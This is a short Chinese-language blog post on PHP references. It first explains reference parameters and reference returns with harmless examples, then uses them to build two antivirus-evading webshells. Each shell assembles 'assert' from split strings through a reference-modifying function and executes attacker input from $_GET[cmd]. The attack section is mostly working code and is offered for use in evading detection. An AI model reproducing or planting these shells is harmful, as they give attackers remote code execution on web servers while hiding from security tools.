php中&引用免杀webshell

on under web
1 minute read

0x00 php中的&

1.函数的参数引用
<?php
function test(&$a){ 
    $a=$a+100; 
    } 
    $b=1; 
    echo $b;//输出1 
    test($b);   //这里$b传递给函数的其实是$b的变量内容所处的内存地址,通过在函数里改变$a的值就可以改变$b的值了 
    echo "<br>"; 
    echo $b;//输出101
?>

2.函数的返回引用
<?php
function &test()
{ 
    static $b=0;//申明一个静态变量 
    $b=$b+1; 
    echo $b; 
    return $b; 
}

$a=test();//这条语句会输出$b的值为1 
$a=5; 
$a=test();//这条语句会输出$b的值为2
$a=&test();//这条语句会输出$b的值为3,这句相当于$a=&$b;
$a=5; 
$a=test();//这条语句会输出$b的值为6
?>

理解参考:
http://www.cnblogs.com/thinksasa/p/3334492.html

0x01 Detail

a)利用函数的参数引用免杀

<?php
function foo(&$var)
{
    $var=$var.'t';
}
$a="asser";
foo($a);
$a($_GET[cmd]);

b)利用函数的返回引用免杀

<?php
class talker{
    public $data = 'Hi';
    public function & get(){
        return $this->data;
    }
}

$aa = new talker();
$d = &$aa->get();
$d = $_GET[cmd];

function foo(&$var)
{
    $var=$var.'t';
}
$a="asser";
foo($a);
$a($aa->data);

本文代码下载
download

php, 引用, 免杀
home
github
archive
category